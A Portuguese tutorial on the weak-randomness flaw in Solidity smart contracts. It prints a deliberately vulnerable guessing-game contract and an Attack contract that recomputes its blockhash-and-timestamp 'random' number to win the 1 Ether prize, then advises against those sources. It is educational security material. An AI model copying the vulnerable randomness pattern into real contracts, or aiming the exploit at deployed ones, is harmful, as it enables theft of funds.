Nesse artigo iremos aprender a como um contrato malicioso age para descobrir um valor através das fontes de aleatoriedade e como previnir um ataque em seu contrato inteligente.
Vulnerabilidade
blockhash
e block.timestamp
não são fontes confiáveis para aleatoriedade.
NOTA: não pode usar blockhash no Remix, então use ganache-cli
npm i -g ganache-cliganache-cli
No ambiente Remix, altere para o provedor Web3.
Como funciona:
GuessTheRandomNumber
é um jogo onde você ganha 1 Ether se conseguir adivinhar o pseudo número aleatório gerado a partir de blockhash
e timestamp
.
À primeira vista, parece impossível adivinhar o número correto.
Mas vamos ver como é fácil vencer.
- Alice implanta
GuessTheRandomNumber
com 1 Ether - Eve implanta Ataque
- Eve chama
Attack.attack()
e ganha 1 Ether
O que aconteceu?
Attack
calculou a resposta correta simplesmente copiando o código que computa o número aleatório.
// SPDX-License-Identifier: MITpragma solidity ^0.8.13;contract GuessTheRandomNumber {constructor() payable {}function guess(uint _guess) public {uint answer = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));if (_guess == answer) {(bool sent, ) = msg.sender.call{value: 1 ether}("");require(sent, "Falha ao enviar Ether");}}}contract Attack {receive() external payable {}function attack(GuessTheRandomNumber guessTheRandomNumber) public {uint answer = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));guessTheRandomNumber.guess(answer);}// Função auxiliar para verificar saldofunction getBalance() public view returns (uint) {return address(this).balance;}}
Técnicas Preventivas
- Não use
blockhash
eblock.timestamp
como fonte de aleatoriedade